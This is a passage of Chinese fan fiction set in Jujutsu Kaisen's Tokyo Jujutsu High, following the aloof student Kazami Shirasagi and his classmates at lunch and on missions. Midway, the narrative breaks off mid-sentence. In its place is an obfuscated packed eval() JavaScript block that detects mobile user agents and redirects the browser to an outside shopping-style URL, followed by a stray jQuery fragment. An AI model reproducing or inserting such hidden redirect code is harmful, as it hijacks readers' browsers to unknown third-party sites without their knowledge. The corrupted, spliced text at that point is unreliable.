夜蛾琴梨没有在高专久留。
她和新认识的朋友约好出门闲逛,只是挂念风见白鹭才到高专一趟,很快对继续参观失去兴趣,将四位才下课的高中生留在餐厅门口,独自带着猩猩又风一般潇洒地离去了。
出人意料的是,同级们本以为能在风见白鹭脸上看见更多属于兄长的有趣表情,但对方态度平常地拐进餐厅,甚至没朝夜蛾琴梨的背影再投去半分视线。
他对妹妹的在意又不是假的——也就是说、现在表现出的样子才是假的?
家入硝子环顾一圈,却找不到能讨论的同伴来验证猜想。
众人早为选择合口的饭菜而四散开来,眼下也只有主人公还与她一道,她总不能直接凑上前去询问原因。
分神从营养师手中接过托盘,她心不在焉地转身,打算飘到窗口旁的座位用餐,直到落座才发现风见白鹭又跟了过来。
她含住汤匙的尖端,一时没有说话,只抬眼盯着他看,直到他将自己托盘上的两份味增汤取出一碗放在她的面前。
风见白鹭冷冰冰地扯了下嘴角:“只拿勺子,你打算喝空气吗?”
“原来还有味增汤啊,我都没看见。”家入硝子小声念叨,朝里坐了一点,“你在哪边?”
风见白鹭一顿,回眸发现五条悟和夏油杰不知何时在餐厅中央会和,又一同朝他们走了过来,想必是以为连用餐时间也要利用起来培养感情。
如果和家入硝子坐在一侧,就要盯着五条悟吃饭——从这一角度考虑,或许坐在对面才是更好的选择,但无论是否要求夏油杰同坐,情况都不会变得更加理想。
而且,尽管倒是很想与同级生打好关系,但他有暂时不能和大家变亲密的理由。
风见白鹭将餐盘放在了另一张空桌之上。
夏油杰和家入硝子对视一眼,都从对方眼中捕捉到混合着吃惊与尴尬的复杂意味。
五条悟轻嗤一声,在桌上重重放下餐盘,与之对抗的心情越发浓厚。
风见白鹭知道这种行为有多不合群,不会在意他人给出的回应是否失礼。
他暗中告诫自己:要再克制一些。
笔记内容和他多年搜集来的情报显示,宿主常常在执行任务时转变为与过往几乎截然相反的性格,说明「系统」会设定能呈现出最戏剧化效果的目标。
于是风见白鹭在人际交往方面展现出很强的攻击性,并通过专业的训练计划将肉/体的夸张程度放大,用内外两方面的特点尽可能缩小所获得的「系统」的类型。
简单讲,如果对外展示的每个标签都能转换为可量化的数据,他眼下正相当严格地控制着每项的平衡,然后把“性格冷硬,刻薄直白”和“身强体壮,勇猛凶悍”提高到极致的程度。
只要他保持以上两项最为突出,大概率能获得使他更柔和、更体贴的任务。
按理来说,「系统」会被执念深重的对象吸引,与其他宿主接触还能提高被锁定的概率,风见白鹭满足所有条件,或许被「系统」绑定只是时间问题。
在那之前,他会一直忍耐——
忍住对锻造咒具的渴望。
忍住对结交朋友的渴望。
忍住在家人面前做到更好、最好的渴望。
“说起来,难道是因为……他太大了?”
家入硝子恍然大悟的感叹依稀传进耳中。
风见白鹭垂眸注视着餐盘边缘处扭曲的倒影,正专心摄取能令肌肉茁壮成长的营养,起初并没将她的形容与自身连线。
直到他又听见夏油杰的低语:“的确,总觉得他有两米高了。”
“对吧?你们说不定得把腿缠在一起才能坐下。”家入硝子肯定真的开始想象,忍不住笑了一声,“那样的话,好像有点尴尬啊。”
五条悟用汤匙把平静的汤面搅得乱七八糟,不服气道:“有什么了不起,我还在发育中呢。”
“但我们是同龄人,所以他也在吧。”夏油杰扶额。
五条悟有些恼怒起来:“给我适可而止啊!巨人吗!”
“我才该说这句话呢。”家入硝子单手托腮,“巨人一号、二号、三号。”
风见白鹭终于确定他们在讨论自己了。
他下意识捏了捏手中的餐具,偏头朝三人看去,恰好和夏油杰对上了视线。
少年完全没有被抓包的不自在,反而眉眼弯弯地举起筷子尖端的烤鱼,推荐道:“这个很好吃哦。”
风见白鹭脸上明晃晃地写着“关我什么事”,兴致缺缺的样子让好不容易接受了家入硝子说法的五条悟又是一股无名火起。
他用舌头不爽地顶腮,靠在椅背上大声抱怨:“他根本就是不想和我们一起!”
风见白鹭的答案是一记白眼,由于太过懒散,也没准只是单纯被上空掠过的飞虫吸引了目光。
他将最后一点食物放入口中,拿起武器离开,锁链叮叮当当地响着,让人莫名心浮气躁。
五条悟戳着盘中稀碎的鱼肉,其实相当不快。
他想不通风见白鹭如此狂妄的理由:身为咒术师,咒力只在中游水平;身为咒具师,想成为御三家的合作对象尚不够格;性格糟糕,体型恐怖,长相则——
思绪微妙地一滞,五条悟微微一僵,反应过激地霍然起身。
无法否认。
发觉突如其来的动作令同桌的夏油杰和家入硝子都吓了一跳,他抿紧双唇,又坐回座位,下意识抬眸朝前方看时,正与同样回眸看来的风见白鹭撞了个正着。
他烫到般收回视线,难免更加懊恼。
……无法否认,风见白鹭的脸倒是让人挑不出错。
少年在用餐前把铃铛束回头上,此时随他转头的动作微微摇晃,却不发出声音,有种轻飘飘的、梦境般的神秘。
虽说日常接触中总有磕磕绊绊,但在东京高专,四人的确是最密不可分的伙伴。
正式以咒术师身份展开行动的伊始,夜蛾正道常常安排四人一同出勤。
天才们在追求效率方面默契地达成共识,用猜拳的方式决定当天保护家入硝子的人选,另外两人则以最快速度完成任务。
至于剩下的时间——在确定风见白鹭不会向老师告状后,众人便按照根据任务地点当场找来的旅游攻略乱逛,即便偶尔前往深山老林,也必须在树上留下几张照片才能满意而归。
并肩作战与一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434585|200956||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
同玩乐的经历极快地拉近了同级的关系,除了风见白鹭还站在较远的位置、并常常在谁犯傻时给出过于不留情面的嘲讽之外,一切都很不错。
不过,最多过了两个月时间,家入硝子就开始对类似的模式提出抗议。
“我直接去会合地点等你们咯。”她边随人流登上观光巴士,边尽力和被她抛下的另外三人解释,“你们完全不会受伤,导致我只是在原地站着而已——那也很累的啦。”
丝毫没料到这一变故的三位男高不约而同地露出“无法信服”的表情。
家入硝子在靠窗的位置坐下,打开车窗,继续刚才未竟的发言:“而且,每次被分来保护我的人都没法用尽全力,那副手痒的样子真让人过意不去。”
她的体贴实在让人惊讶。
夏油杰苦笑,解释道:“家入,或许让你误会了吧,但我们从没觉得麻烦。”
“我知道啊。”巴士传来发动的声音,家入硝子平和地朝他们挥手,“所以我要毫无负担地偷懒去了,别告诉夜蛾老师哦。”
风见白鹭注视着家入硝子懒散的微笑,凭借他从夜蛾琴梨身上积累的经验来看,确实不是心中不快的反应。
于是他交代道:“记得先到需要排队的场所取号,我们会尽快赶过去的。”
“当然,我可是做好和游客们大战一番的准备了。”家入硝子弯曲左手手臂,摆出一个展示肌肉的姿势,却因她悠闲过头的性格而没有半点说服力可言。
“别打得头破血流啊。”五条悟笑嘻嘻地叮嘱她,“但如果真的打起来了,就发消息吧,我们会马上过去保护你的。”
巴士启动,家入硝子依然把手伸在窗外晃了很久才收回去。
三人目送巴士消失在道路尽头,彼此对视一眼——风见白鹭并没看五条悟,导致后者紧咬牙关才忍住不爽,强行扯出笑容道:“比赛?”
夏油杰马上以与他几乎相同的脑回路接上了话题:“正好任务是清除整栋建筑里的咒灵,那就以个数定胜负吧。”
感受到同伴的视线,风见白鹭双手插兜,目视前方,随口接道:“我没意见。”
不知他们自己是否愿意承认,但在夜蛾正道眼中,三人其实都有些臭味相投的顽劣。
赌注也很快敲定下来。
如果夏油杰获胜,另外两人就要帮他找到并调伏一只特级咒灵;五条悟则要求同伴在一个月内尊敬地称呼他为“五条少爷”。
“真恶心。”风见白鹭露出难以忍受的表情,“要是我赢了,你们来给我打工一周。”
“还是老样子啊,”夏油杰感叹,“明明从没见你去过什么工作室。”
五条悟撇嘴:“因为他根本没赢过啦。”
风见白鹭终于睨他一眼——这才刚是第二、或第三次打赌。
但想起今日败下阵来就很可能要对五条悟毕恭毕敬,他还是故意说:“开学期间闲事太多,我马上就要去呢。”
五条悟和夏油杰不自觉交换一个眼神,不得不在光明正大地一探究竟与成功率未知的跟踪间纠结起来。
风见白鹭已用踩踏似的霸道姿势一脚踹开了大门,朝咒力波动最为强烈的建筑上层窜去。